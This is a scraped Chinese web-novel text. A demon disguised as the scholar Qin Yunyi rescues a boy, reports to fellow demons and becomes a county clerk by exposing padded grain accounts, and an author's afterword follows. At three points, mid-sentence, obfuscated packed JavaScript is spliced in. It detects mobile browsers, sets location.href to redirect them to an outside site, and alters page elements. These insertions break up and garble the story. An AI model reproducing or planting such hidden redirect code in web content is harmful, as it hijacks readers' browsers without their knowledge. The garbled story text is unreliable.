“姥姥病重,需要钱抓药……家里能卖的都卖了……我……我想搏一把……” 秦云意沉默片刻,又从袖中取出一块碎银子——这次是真的银子,不过,还是他前几日从别处“拿”的。他把它塞进石头手里。 “拿去给你家姥姥抓药。记住,以后不要再赌。” 石头愣住了,看着手中的银子,又看看秦云意,“扑通”一生跪倒在地,重重地磕了三个头。 “恩公!恩公啊!恩公的大恩大德,石头永生不忘!” “去吧。”秦云意扶起他,“快走,离开这里。” 石头抹了抹眼泪,转身跑走。跑了几步,又回头复杂地看了秦云意一眼,那眼神里有感激,也有困惑——刚才上药时,他隐约好像看见恩公的眼睛在暗处闪过一道很淡的红光,像野兽。但巷子太暗,许是看错了罢。 石头摇摇头,之后又否决了自己的这个观点,“怎么可以说恩人是野兽呢?!”他握紧银子,快步消失在小巷深处。 石头刚走完,周三这时才追上来,他气喘吁吁,上气不接下气地嚷嚷: “秦郎君,您……您真是太冲动了!那钱爷背后有人!这件事,他不会善罢甘休的!” 秦云意没回答,只是看着石头消失的方向。刚才给药时,他顺带探了探这少年的命数——短寿之相,活不过十八……毕竟人间就是这样,有些人,怎么救都没用。 但他还是做了。 为什么?他自己也说不上来。也许是因为那眼神里的倔强,像极了山中那些明知必死却还要扑向猎人或道士的无修小兽——愚蠢,但有种可笑的可敬。 “秦郎君?”周三见他出神,又唤了一声,“您听见我刚刚说了什么吗,秦郎君?” 秦云意收回目光,淡淡道:“走吧。” 两人往回走,快到茶摊时,周三忍不住又开始说了:“哎呦……秦郎君,您今天这么做,已经惹上麻烦了。那钱爷……” “我知道。”秦云意打断他。 “那您还……” 秦云意停下脚步,看向周三。 “周三,你说你在这曲阳城混了半辈子,见过的人间疾苦应该不少。” “是……是啊。” “那你告诉我,”秦云意的声音很轻,却让周三脊背发凉,“若是人人都因为怕麻烦而袖手旁观,这人间会变成什么样?” 周三怔住了。 “我确实怕麻烦。但有些事,既然看见了,就不能不管。” 秦云意顿了顿,又低声补了一句,像是在自言自语什么。 “虽然管了,也未必有用。” 周三站在原地,看着秦云意的背影,许久才快步跟上。 “秦郎君,周某服了。从今往后,您有什么事,尽管吩咐我。” 他用上了最重的礼节。 秦云意看了他一眼,没说话,只是微微点了点头。 等两人回到茶摊时,天已全黑。茶摊的那个独眼老头正在收摊,见他们回来,欲言又止。 “老徐,怎么了?” 徐老四处看看,随即压低声音: “刚才钱爷派人来传话,说……让秦郎君小心点。” 周三脸色大变,看向秦云意——这家伙却面色如常,只是淡淡地说了一句“知道了。”他又点了一碗茶走,边走喝着,仿佛刚才什么都没发生。 “明日给碗,老徐。”他说,随后又转去大娘的摊旁,买下了最后一个烧饼。 “不必多言……我信您,秦公子。” 周三没说话,只是站在原地,心中五味杂陈——这个秦郎君,究竟是什么人?有那样惊人的本事,却甘于市井,还天天听这些庶民琐事?他又想到如今那些高高在上的官吏和富商,那些人…… 唉,秦郎君这般人物,不去当官,真是可惜了! 周三摇着头,转身回茶摊帮忙收拾去了。他并不知道,此刻他口中的“秦郎君”,已经走在了回山的路上…… 曲阳城外的山道上,秦云意——或者说,该叫他螭厌了,此刻正慢悠悠地走着。走到无人处,他左右看看,确认四下无人,身形一晃,便化作一道若有若无的青烟,悄然掠向城外荒山的深处。之后他现出身形,斜倚在青石上,手里还拎着从曲阳城里顺来的陶碗,以及半路上顺道找到的一壶浊酒,总之——只要回到山里,他终于不用再费劲掩饰了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人间吃食,味道还行。”螭厌自己也咬了口,一旁的石公挪到近前,他倒没吃,而是问道:“螭君这趟,见识如何?” “见识?”螭厌咽下饼,眼睛眯起来,“那可有的说了,我来给你们讲讲。” 他开始讲述自己在人间的见闻:先说茶摊吧,两文钱一碗的粗茶,又苦又涩,却总有人抢着喝。他起初不解,也跟着日日去坐,之后明白了——那不是喝茶,是听消息。比如粮价涨了,谁家儿子被抓了丁,谁家里出了事……全在那儿说。还有个叫周三的,聊天时经常跟他套近乎,这人滑溜得很,衙役来找麻烦,他能三两句糊弄过去,还偷偷塞钱。可转过身,他又会帮那些穷苦人,借钱给病重的老人,帮寡妇找活计…… “这人到底是好是坏?”螭厌自问,却又自答,“人间不像咱们妖,好坏分明。他们是又好又坏,时好时坏。这周三知道城里所有秘密,那东街粮铺的李掌柜,明面上卖米,暗地里用古玉跟燕国换粮,一半高价卖,一半偷偷送给孤儿寡母——因为他儿子死在战场上了,不想让别的父母也尝那滋味……” 说到这儿,螭厌难得沉默了片刻。本性里的跳脱被压了下去,露出底下更深的东西。 “你们知道吗?人间最怪的,就是这种……矛盾。善和恶能长在一个人身上,像藤蔓缠着树,分不清。” “那螭君跟他交朋友了?”耳鼠吱吱问。 “算不上朋友。”螭厌摇头,“就是个消息来源。但他告诉我许多事——卖陶器的、城南寡妇,还有东巷那对卖豆腐的……” 他声音低了下去。 “总之,人间疾苦,比咱们山里多多了。” 之后他又讲到一少年被追逃,他略施小计,让那差兵看不见他,最后无功而返。接着是赌坊——一孩子叫石头,才十二三岁,为给病重的娘抓药,想去翻本,却被抓了个正着。那钱爷要剁他的手,但自己看不下去,用石子变了五十文钱赎人,又跟钱爷赌了三局——自然是全赢。 “我略施小术,骰子全开大点。”说起这个,他脸上又闪过一丝得意,但很快收敛,“钱爷到了最后,脸都白了。”他嗤笑道。 “那孩子呢?”石公又瓮声问。 “我给了他些银子抓药,用妖力稳了他的伤。”螭厌语气沉下来,“但我探他命数……活不过十八。” 妖怪们安静了,唯有山风呜呜作响。 “人间自有定数。”螭厌轻声说,“我能救一时,救不了一世。他们寿命短,几十年就是一生,所以每件事都看得极重——饿也要吃,病也要活,苦也要笑。不像咱们,有的活几百年、几千年,什么都淡了。” 他站起身,走到山边,望着山下曲阳城隐约的灯火。背影在昏暗里显得有几分寂寥——不仅仅有妖该有的孤独,还从人间带回来的,像染了烟火气的惆怅。 “人间就是这样,吵吵闹闹,哭哭笑笑……我就喜欢看这个,鲜活,有人气。”螭厌摇头笑着。 赤练缓缓游到他身边:“那螭君还要回去?” “回啊。”螭厌挑眉,“这当人才刚开始呢。我还没弄明白,这人间到底是怎么回事——明明满目疮痍,明明苦不堪言,可那些人,怎么就还能笑着、闹着、活着?” 他走回桌边,看着捡来的酒壶和饼的残渣,吃的喝的都已经没了。 “在人间装人累,可回山里……又觉得太静了。”他喃喃说,像是自语,“山里的日子,一天和一百年没区别。可人间,一天就有一天的故事。” “螭君莫不是动了凡心?”石公缓缓问。 “凡心?”螭厌愣了下,随后笑了,“石公啊石公,我是妖,哪来的凡心?就是觉得……好玩,有点意思……”他重复着这几句话,像是在说服自己。 “看凡人挣扎求存,看他们爱恨纠缠,其实,比看山看水有意思多了……” 但三妖全都听出来了——那不只是“有趣”。若真只是有趣,他不会露出那种复杂的眼神,不会记下那些琐碎的苦痛,也不会在说到那孩子活不过十八时,声音低沉沉地沉下去。 螭厌自己也沉默了。他低头看着自己的手——在人间,这双手学着握碗、数钱、扶人,在山里,这双手是双翼,能飞翔、驭风、施法…… 到底哪一个才是真? “好了。”他甩甩头,又恢复最开始那副懒洋洋的样子,“今天不去山下庙了,在白山里歇一晚,明日回城——周三那小子,估计又在茶摊等我了。看他那样子,似乎还想给我弄点什么事情过来做。” 黑暗中,螭厌的身形开始变化。黑袍人形如烟般散去,取而代之的是一条盘踞而起的赤色大蛇——那蛇身长逾两丈,通体覆盖着玄黑如夜的鳞片,每一片都泛着漂亮的金属光泽。但自下颌至腹底,那儿的鳞色渐转为深红,着一片红红的炽色。最奇异的是它背脊两侧——那儿生着一对收拢的羽翼,羽毛根根分明,色泽从翼根的墨黑渐变为殷红,每一片都修长、柔软,脉络分明,在昏暗中泛着暗红色的微光……它缓缓盘上石台,鳞片相擦,发出细微的沙沙声,那双竖瞳在黑暗中最后扫视一圈,红光一转,随即阖上。 不一会,山中彻底沉入寂静。 耳鼠和赤练小心翼翼地蹭到了他身边睡下,石公则轻轻打开地面,沉入地底。 但在黑暗中,螭厌的竖瞳却又微微睁开——他想起石头跪地磕头时眼中的感激,想起周三说“这世道,能吃饱饭就是福气”时的苦笑,又想起茶摊里那些愁苦却依然活着的脸…… 唉,人间啊……人间,苦是真的,暖也是真的。 他尾巴轻轻摆了摆,然后重新闭上眼睛。 就到这里吧,明日,茶摊再见。 6. 为官 晨雾未散时,秦云意已走在下山的路上。他今日走得很慢,只因昨日在山中与石公、耳鼠他们说的那些话,还在心里来来回回地绕。人间、人心、还有那些是非……说的时候轻松,现在回头细想,却像嚼一枚没熟的果子,涩味留在舌根,久久不散。 快要到山脚下时,他停下脚步,回头望了望——他的巢穴隐在晨雾深处,现在随着雾气的弥漫,早已经看不见了。其实,白山这块并没有太多妖兽,看的多的,则是满山的树,它们静默地立着,几百年、几千年,还要一直驻立下去。 他转过身,继续往城里走。 今日进城,早市刚开。卖菜的、挑担的、赶车的……人声车马声混成一片。秦云意随着人流走,眼睛却不再像初来时那样四处打量——该看的,这十几日都看得差不多了。他现在看的,是那些没留意过的细处,像什么墙角的蜘蛛网,掉在地上的饼渣和菜叶……都是些无关紧要的东西。 可他看得认真。 今日不同以往,在走到茶摊那条街时,他远远就看见周三已经在了——现在天刚亮,他就蹲在摊子旁,正跟补锅的李匠人说什么,手比划着,脸上带着那种惯常的笑。 秦云意脚步顿了顿,随即如常走过去。 “秦郎君!今儿早啊!” 周三看见他,眼睛一亮,立刻站起身迎过来。 “你今日怎么这么早就到了?” 秦云意在惯常的位置坐下,而周三只是笑了笑,在他对面撩袍入座,随后压低了声音: “昨儿……钱爷那边又出事了。” 秦云意抬眼看着他。 “不是找您麻烦。”周三连忙摆手,“是他自己——听说昨儿夜里,他家里闹了一宿,又是砸东西又是哭喊的,今儿早门都没开。有人说……说他撞邪了,看见不该看的东西了。” 秦云意端起老徐递来的茶碗,没说话。 不过一会,周三像是又想到了什么,他身体凑近了些,声音也更低了。 “秦郎君,您说……这世上,真有那些东西吗?” 秦云意喝了一口茶,苦味在舌尖化开,之后他放下碗,看着周三。 “你信就有,不信就没有。”他说。 周三怔了怔,随即笑了。 “也是,也是……我就是随口一问。” 时间过了,茶摊上渐渐来了其他熟客。那卖陶器的孙老正推着空车过来,脸上愁云却比昨日更重,还有李匠人等人,而独眼的老徐则舀着茶,偶尔抬头看一眼街面,又低下头去。 一切如常,却又有些不同。 “秦郎君……”周三搓着手,脸上露出些犹豫,“我……我有个话,不知当讲不当讲。” “有何不妨。讲吧。” “其实……这几日我瞧着,您气度不凡,谈吐也不像我们这些粗人。不过您总在茶摊坐着,在街上逛着……这不是长久之计啊。” 他顿了顿,见秦云意没打断,便继续说下去:“您……您就没想过谋个正经事做?比方说,去衙门里谋个文书、算账的差事?哪怕是临时的也好。这年头,光有钱不行,还得有个身份傍身。” 说这话时,周三眼神里闪着热切,可嘴唇又抿得紧紧的,分明是既盼着秦云意能“上去”,却又怕他真一脚踏进那深不见底的浑水里去。 一旁舀茶的独眼老徐听见了,只嗤笑一声:“周三,你这话说得倒好听——叫人家去衙门?衙门那是好待的地方?” “而且那位徐县丞,曲阳城里谁不知道,那是扒皮的主儿!他手底下的人,哪个不是沾了一身泥?清白身子进去,想干净出来?难!” 周三被老徐说得有些讪讪的——他又何尝不知道这些?只是……看着秦云意这般人物沦于市井,心里总存着点“荐才”的幻想,他隐隐觉得若有秦云意这样的人能在衙门里,或许对他们这些平头百姓也是件说不清道不明的好事。总之,这种想让秦郎君“上去”,又怕对方陷进去拔不出来的矛盾心思,让他刚才那番话显得格外纠结。 “徐伯说的……也在理。”周三叹了口气,语气软了下来,“我就是……觉得秦郎君是个人才,所以瞎琢磨。秦郎君您别见怪。” “人才?”老徐又嗤了一声,“越是人才,就会陷得越深。你真当那是福气?” 周三彻底不说话了,只是看着秦云意,眼神里那点热切被老徐几句话浇得干干净净。而面前的秦云意自始自终都没接话,只慢慢喝着茶。那苦味在嘴里化开,又慢慢散下去。 茶摊一时静了,只有老徐舀水的细微声响。这短暂的安静里,周三坐立难安,似乎还想再说点什么圆个场,但嘴唇动了动,终究没出声。 就在这时,街那头却忽然传来急促的马蹄声,和一阵粗野的吆喝: “让开!都让开!巡检!” 街面上顿时一阵混乱。行人慌忙往两边躲闪,秦云意等人也随人流退到了墙根。 来者并不是寻常征粮的军士,而是一队约二十人的黑衣骑士,服饰精良,马匹高大。为首的是一名身穿浅绯官服、头戴进贤冠的中年文官,面白微须,眼神锐利——正是刚才茶摊话里的那位,徐谓,徐县丞。他的左右各有两名按刀护卫,此刻,那在队伍前面开道的四名持棍差役,正粗暴地驱赶挡路的人。 “是县丞大人!”有人低呼。 “徐县丞?他怎的亲自上街巡检了?” “听说上头催得紧,要清查城内‘隐户’和‘流民’,加强防务……” 徐县丞骑在马上,目光扫过街面,带着一种居高临下的审视。他经过茶摊时,什么周三、孙老汉、李匠人,独眼老徐……通通都低下头,不敢直视他的眼睛。 徐县丞的目光在秦云意身上顿了顿。 虽然这家伙今天换了一身常服,但秦云意身形挺拔,尤其是那张脸——在灰暗的人群中,白得有些突兀。他的眼神平静,没有寻常百姓见到官员时的惶恐或敬畏,只是淡淡地看着,像在看一件与己无关的物事。 徐县丞眉头微不可察地皱了一下,但没说什么,只是策马继续前行。 队伍过去后,街面逐渐恢复了嘈杂,但气氛明显更压抑了。周三缓缓凑到秦云意身边,想必是心有余悸。 “吓死我了……不过真是说来奇怪,这徐扒皮怎么亲自出来了?准没好事!” 话音未落,街尾忽然传来一声尖叫,紧接着是怒骂和打斗声,人们只见一个瘦小的身影从一条巷子里狂奔而出,后面还追着两名提棍的差役,那身影慌不择路,竟朝着巡检队伍的方向,直直地冲了过来。 “拦住他!”徐县丞身边一名护卫厉喝。 场面顿时大乱。那身影极为灵活,躲过拦截,却险些惊了徐县丞的马。马被吓得慌乱抬起脚,差点把徐县丞晃了下去,幸亏还有护卫及时拉住缰绳。 “放肆!”徐县丞惊魂未定,随即勃然大怒,“给我拿下!” 紧接着,更多的差役扑了上去,这身影被逼到墙角,终于无处可逃,人们也就看清了他的脸——正是当时秦云意顺手救下的荒地少年,他脸上又添了新伤,嘴角破裂,鲜血直流,眼神却依旧凶狠倔强,像头被逼到绝境的孤狼。 “大人!就是他!”一个追来的差役气喘吁吁地喊道,“昨夜……这小子潜入县衙粮册库房……窃取文书!小的们……追了他,整整一夜!” 徐县丞脸色阴沉,盯着那少年,“你是何人?为何窃取粮册?受何人指使?” 他转过马头,目光锐利。 少年咬紧牙关,一声不吭,只是用那双满是血丝的眼睛瞪着徐县丞。 “不说?”徐县丞冷笑,“好哇,那就带回县衙,大刑伺候!本官倒要看看,你的嘴究竟有多硬!” 在得到命令后,差役迅速上前,用绳索粗暴地捆住少年双手,少年在过程中不停挣扎,却被一棍砸在腿弯,踉跄跪倒。之后,他被拖起来,推搡着从茶摊面前经过。 那一瞬间,少年的目光与秦云意对上。 依旧是那夜荒地里的眼神——绝望,哀求,还有惊异。但很快,这惊异就被更深的绝望淹没了。 秦云意看着他被拖走,脸上没什么表情。 “造孽啊……这么小的孩子……偷粮册?怕是家里被征粮逼得活不下去,想查查那些官老爷到底贪了多少吧?不过……唉,糊涂啊,那可是县衙!”周三摇摇头,啧啧说。 秦云意沉默着,看着巡检队伍押着少年,重新整队,那徐县丞也整理好衣物,得意地准备离开。 然而,他的目光,却再次落在了秦云意身上。 这次,他看得更仔细了些。不只是那张过于出色的脸,还有那与周遭环境格格不入的气度,以及刚才面对突发混乱时,那种异乎寻常的平静。 “你。”徐县丞忽然开口,马鞭虚指秦云意。 街面瞬间安静了,所有人都看向秦云意。 周三脸色一变,想悄悄往后缩,却被旁边的差役瞪了一眼,不敢动了。 秦云意与徐县丞对视着。 “大人唤我?”他的声音依旧平静。 徐县丞眯起眼睛:“你是何人?本官看你面生,不似曲阳本地人,路引何在?” 秦云意略一沉吟,他袖中确实有那片之前捡的“齐人孙乙”的路引,但此刻若拿出来,只怕会引来更多盘问——一个齐国人,为何滞留赵国边境小城?尤其还是在这敏感时期! “回大人,在下秦乐,秦云意,祖籍陇西。游学途经此地,因染微恙,盘缠用尽,故而滞留。” “陇西?”徐县丞眼神一闪,“游学?你是士子?” “略读诗书,不敢称士。” “既是游学士子,可有名刺、荐书?” “途中遇匪,行囊尽失,只身逃脱。”秦云意面不改色。 徐县丞盯着他,似乎在判断真伪。片刻,他忽然说: “看你年岁,当在弱冠上下?”他顿了顿,语气冰冷强硬,“如今国事艰难,燕贼犯境。凡赵国境内,年十五至五十男子,皆需登记在册,以备征调。你既滞留曲阳,便需遵从赵律。” 他扭过头去,身旁一名书吏连忙点头哈腰地上了前来。 “你,记下他的名字,年籍,按流民处置,编入本城丁册,三日后,随本批新征民夫,一同押送北营效命!” 此言一出,周三等人倒吸一口凉气,那茶摊的老徐也低下头,别过脸去,一双拿着茶瓢的手却握紧了许多。 秦云意的瞳孔少见地收缩了一下。 征役?还去北边军营?开什么玩笑!他化形入世,是为体悟人间,寻自己的“道”,才不是来给这群补体恤民情的人间君王当共犯的! “大人。”他再次开口,声音依旧平稳,但隐约多了一丝别的意味,“在下虽客居贵地,然并非赵民。且体弱多病,恐难胜任军旅劳顿。大人明鉴。” “非赵民?”徐县丞嗤笑,“既在赵国疆土,便需守赵国之法!至于体弱多病……”他上下打量秦云意,“本官看你身形挺拔,面色……虽苍白了些,却也不像久病之人。纵是真有病,营中亦有辅兵、杂役之职!如今国难当头,匹夫有责,岂容推诿!” 他语气严厉,带着不容置疑的官威,在他周围的差役虎视眈眈地望着秦云意,手按刀柄,仿佛即刻就要行动。 整个街面鸦雀无声,几乎所有人都替这“不知天高地厚”的秦郎君捏了把汗。 秦云意沉默片刻。他知道,此刻若动用妖力控制对方的思想,后续恐生祸患——人族王朝更迭、战乱频仍,那群道士通常不会直接插手,但若有妖物公然在城池中使用法术对抗官府,性质可就不同了。而且那样做,还违背了他入世体悟的初衷。 不能硬来。 “大人所言极是,国难当头,匹夫有责。”他缓缓回道,语速相比之前放慢了许多,“然乐虽不才,却也读圣贤书,知忠义礼。若论为国效力,未必只有持戈戍边一途。” 徐县丞挑挑眉:“哦?你待如何?” 秦云意上前一步,虽然换成了普通的常服,但周身气度始终未变,他目光扫过徐县丞身后的书吏、差役,最后又落回徐县丞身上。 “乐游学数载,于经史子集略有所得,亦曾随师长习练筹算、文书之事。”他语气从容,“今见曲阳城防务繁忙,粮秣调度、丁册管理,想必千头万绪。大人身为县丞,总揽民政,日理万机。若蒙不弃,乐愿以所学,暂充幕僚书佐之职,为大人分忧,为曲阳百姓略尽绵薄之力。如此,既可免于不谙武事、徒耗军粮之讥,亦可实心任事,报效一方。不知大人,意下如何?” 这番话,用词文雅,条理分明,更隐隐点出自己精通文书筹算,正是如今战事胶着、后方忙碌的县衙所急需的人才! 街面上静得可怕。 周三张大了嘴,难以置信地看着眼前的秦云意。而坐在一旁,始终按兵未动的孙老汉和李匠人,也全都愣住了。 徐县丞脸上闪过一丝惊异,他开始重新打量着眼前这个年轻人,就凭这气度,谈吐,临机应变的能力,还有那份面对官府威压时的镇定……绝非常人。 绝非常人。 他思考了一下:确实,如今县衙忙得焦头烂额,征兵名册混乱,粮秣账目不清,上面催得又急,手下那些小吏要么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153431|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够用,要么中饱私囊,若此人真有才学……说不定还能帮自己治治他们。 “你通筹算?文书?”徐县丞缓缓问道。 “略通。”秦云意颔首。 “口说无凭。”徐县丞眼神锐利道,“本官该如何信你?” 秦云意微微一笑,目光轻轻扫过徐县丞马鞍旁挂着的一个皮质文书袋——这里装有简报,至于简报里的内容……他用用小法子就能了解了。 “大人此刻随身所携文书之中,若有涉及钱粮丁口的账目,不妨取出一观。乐可当场为大人核算,若其中有差错疏漏,亦可当场指出。” 徐县丞皱起眉头,事实上,他确实带了几份刚刚汇总上来、尚未核对的丁粮简报。不过,此人竟敢当场要求验看?不是有真才实学,就是狂妄至极! 他沉默了,许久才缓缓开口: “取东城三坊的丁粮简报来。” 身后书吏连忙从文书袋中抽出一卷竹简,双手奉上。徐县丞接过,却不展开,只是看着秦云意。 “你若真有本事,本官身边正缺个理算文书之人。若只是虚言欺骗……”他冷哼一声,“两罪并罚,后果自负!” 秦云意面色不变:“请大人示下。” 徐县丞这才缓缓展开竹简。上面是密密麻麻的赵国小篆,记录着东城三个坊最近一次清查的户数,男丁数目,该征、已征,还欠多少人,以及该交多少军粮,实交多少、还欠多少。 他只展示了其中一段。 秦云意目光扫过,眼睛在无人察觉的情况下微微调整焦距,竹简上那些细小繁复的字迹,便瞬间清晰无比地印入脑海。 他淡淡开口: “东孝坊,记了一百七十三户,该二百零九人,已出一百四十二人,欠六十七人。按每人交三斗军粮算,此坊,该交六百二十七斗粮,实交四百二十六斗,还欠二百零一斗。” “西城坊,二百零五户,该出二百四十六人,已出一百九十八人,欠四十八人。该交七百三十八斗,实交五百九十四斗,欠一百四十四斗。” “北城坊,一百八十八户,应出二百二十五人,已出一百六十六人,共欠五十九人。该交粮六百七十五斗,实交四百九十八斗,欠一百七十七斗。” 他语速平稳,毫无停滞,仿佛那些数字早已烂熟于心。现在,他不仅把简上的数目报得一清二楚,竟然还连每坊该交、实交、欠交的粮数,全都当场算了出来。 徐县丞和身旁的书吏脸色都变了。那书吏震惊地更是抬头又低头,来来回回得有数次——开什么玩笑?这些数字他刚整理不久,自己都还未必能记得如此清晰准确,而且此人只看了一眼! “还有,”秦云意略一停顿,目光落在徐县丞脸上,声音压低了些,只让近前几人听到,“这北城坊数目虽对得上,但平均下来,每人竟不止三斗,而西城坊、东孝坊却不足三斗,至于这中间的差额去了何处……大人或可详查?” 他这番话,意思再清楚不过了——没错,这账,绝对有问题! 徐县丞的脸色彻底沉了下来。他死死盯着竹简,又盯着秦云意,眼神复杂、变幻不定,其中有震惊,有恼怒,也有一丝不易察觉的忌惮和……贪婪——此人不仅才思敏捷,心算如神,更一眼看穿账目关窍,胆识更是过人,这等人物,若真能为其所用…… “你,”他缓缓开口,“你刚说,叫什么名字?” “在下秦乐,秦云意。” “秦乐……”徐县丞重复了一遍,之后忽然“哈哈”一笑,只是笑声有些干涩。 “好!好眼力!好心思!”他收起竹简,脸上重新挂起官样的笑容,“秦先生果然大才!方才本官不过是出言相试,不想先生竟有如此本领!屈居市井,实乃埋没!先生既有报效之心,本官岂有不纳之理?如今县衙文书房正缺主事之人,先生若不嫌弃,可暂居此职,为本官整理卷宗、核验账目。至于征役之事……” 他挥了挥手。 “先生既任公职,自然免除。待先生安顿下来,本官再与先生细谈。” 周三等人面面相觑,简直不敢相信自己的耳朵——方才还要被抓去充军的秦郎君,转眼间就成了县丞大人的座上宾、文书房主事? 秦云意面色平静,仿佛早已料到,再次拱手:“多谢大人赏识,秦某定当尽力。” “好!”徐县丞满意点头,对身边一名护卫道,“你带秦先生回县衙,安排住处,一应所需,按书吏例供给。” 他又看向秦云意,笑容意味深长。 “今晚本官在衙内设便宴,为先生接风洗尘,届时再详谈。” “恭敬不如从命。”秦云意颔首。 徐县丞不再多言,他只一挥手,周围的小吏全们都懂了: “巡检继续,届时回衙!” 队伍重新开动,马蹄声“嘚嘚”地远去,只是那被押走的少年,早已无人顾及,却不知被差役拖往何处了。 看见那群人消失之后,周三这才长长吐出一口气,他双腿一软,一屁股差点坐倒在地,眼神中充满了后怕: “我说,秦、秦郎君……我之前,就是个建议——您、您还真要去啊?” 秦云意没回答,只是望着县衙队伍消失的方向,良久,才轻轻“嗯”了一声。身旁的独眼老徐不知何时又舀起了一碗茶,递给了秦云意。 “茶钱涨了,三文。”他用沙哑的嗓子说。 秦云意接过碗,掏出三文钱放在了粗木桌上。 老徐收了钱,用独眼看着他,没什么表情,只淡淡回复:“秦公子自己当心。” 他们就这样沉默,一直到巡检队伍重新回来,那护卫走上前,对秦云意做了个“请”的手势,态度真是颇为客气。 “秦先生,请随我来。” 秦云意转过身,看向茶摊方向:周三、孙老汉、李匠人……他们全部都怔怔地望着他,眼神中充满复杂。秦云意于是端起碗,将微温的粗茶一饮而尽,接着,他朝他们微微点头,算是告别,然后便随着护卫,朝着县衙方向走去了。 …… “我的娘哎……秦郎君他……这就当官了?”周三喃喃自语。 “是福是祸,难说啊。” 独眼徐伯默默收起秦云意留在桌上的三文茶钱,用只有自己能听到的声音,咕哝了一句没有人能听清的话。 远处,那是县衙高大的门墙,黑沉沉的,活脱脱像一头蛰伏的兽。秦云意就这么步履从容地跟在护卫身后,眼中瞳孔只隐隐映出前方那朱漆大门上,几个狰狞的狴犴衔环…… 好嘛,人间官场这潭水,他算是要亲自走一遭了。 7. 一些想说的话[番外] 我的第一个大儿就是古风大儿,先前写西方文学写惯了,今儿个开始归回本源,近些日子走火入魔,夜半难安,写中又写,改中又改,字字泣血,方知文章之艰苦。还在“秦乐”与“秦云意”的名字里一来二去的纠结,最终抛弃某些既定的观念,选定了后者。 月出白山,寒峰挂玉,说到白山,本想为天山(因为王母),但奈何地理位置不符,又想长白山。至于那螭厌——它是一条羽蛇,蛇身龙相,无角有鳞,形似蛟龙,潜伏于川。届时赵国刚打完那长平之战,孤魂遍野,民不聊生,它恰好成人,便下山寻访人间,秉一颗“道”心。 “道”是什么?要我说——这确实是一场悲剧。 神不顾人,或是鄙夷,或是无奈,或是可怜,无法下凡。那妖要有一颗神心,更是苦涩至极——人心比妖鬼还怖,它一个刚化形的妖,即便有法,那又如何?我看观上也未必清正:贪奸妄法,虚荣满目。这尘世虽短,却人皆惶惶。 至于他?他既有心,选了这法儿,便会一直走下去,一直到时代的尽头,生命的尽头,历史的尽头——亦是我所在的尽头。这是诅咒,是考验,也是任务。 ……唉,古风还是难写,无论是我的哪部作品,写到开头章节,就免不了堆砌,免不了斟酌,也免不了卡文,最后到了个极点,就再憋不出什么进展开来……至于少儿时期熟习的多的,噢,萧红、林海音,还有三国演义的文言文版。那第一部短篇文章便是乡土文学(是高中时看乡土中国看的),以此主题练手,来描写西南方向少数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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好嘛,试探这不就来了? “乐不过乡野书生,偶得明师指点,不敢妄称高徒。至于咸阳秦将军……乐久居边城,孤陋寡闻,并不与他相识。”秦云意面不改色地回答道。 “呵呵,那先生过谦了。” 徐县丞喝了一口酒,随即放下酒杯,摆摆手,将在场的话语切入了正题: “秦先生既愿屈就文书房主事,那本官也不瞒你了,如今,县衙事务繁杂,尤其这丁粮账目,盘根错节,屡屡出错,现在上面催逼又急,下面官吏也多敷衍……” 他顿了顿,看向秦云意。 “其实,本官想请先生做的,便是厘清这些账目——还请务必做到数目清晰,有据可查,尤其是应征与收纳的差额,总得要有个明白的说法。” 这话说得委婉,但秦云意听懂了,无非是既要自己做出漂亮的、能应付上级的账册,还又要理清楚中间被层层克扣的漏洞,不仅如此,他还得给这些漏洞找个“合理”的解释。 这群死贪官。 “大人,账目不清,根在源头。若连丁口登记不实,纵有通天手段,也很难理清……”秦云意看着杯中浊酒,片刻后终于抬眼,缓缓说。 徐县丞与蓝主簿交换了一个眼神。 “先生所言极是。只是……这登记造册、征粮催税之事,牵扯甚广。各坊里正,多有虚报、隐漏之举,至于征粮差役,也不乏中饱私囊之辈,本官虽有闲心整治,奈何人手不足——少啊。” “积弊当除,然需有法。那么秦先生既洞悉症结,可有具体良策?”一旁,许久未动的郑县尉忽然开口,声音低沉,他目光炯炯,说来说去,总是带着些许审视的意味在。 “若要理清,需从三处入手。其一,得核对原始丁册,比对历年增减,找出那些虚报之户。其二,需清查粮仓进出记录,核验征粮凭证,严格追查去向,至于其三……须整顿小吏,明定章程,有功必赏,烦过必究。”秦云意不卑不亢地回答。 “先生所言,句句在理。”徐县丞点点头,只是……这第一、二条,涉及旧档核验,工程浩大,恐触动连锁利益,而第三条……那群衙门里的人,牵一发而动全身啊……” 他口虽这么说着,眼里却显得精明。 “大人既委乐以此任,乐自当尽力。只是,需大人给乐些许‘便利’。” 秦云意看着他的脸,忽然微微一笑。 “先生但说无妨。” “这一,是请拨两名书吏协助,其二,大人请予乐查阅之权,不限时限,至于其三……乐核查期间,无论涉及何人,烦请大人暂勿干预,待乐查实回禀,最后再由大人定夺。” 徐县丞沉吟良久,这秦先生提出的这些条件,意味着他自己要将相当大的权力暂时交给对方,同时还要顶住可能来自各方面的压力,风险着实不小。但若真能借此机会,厘清这团乱麻,甚至挖出些油水吧…… 他看了一眼蓝主簿,蓝主簿只是微微点头,什么话也没说。 “好!”徐县丞一拍案几,“既然如此,本官就依先生所言!明日一早,先生便可至文书房上任。所需人手、权限,本官,自会给他吩咐下去!” “谢大人信任。” 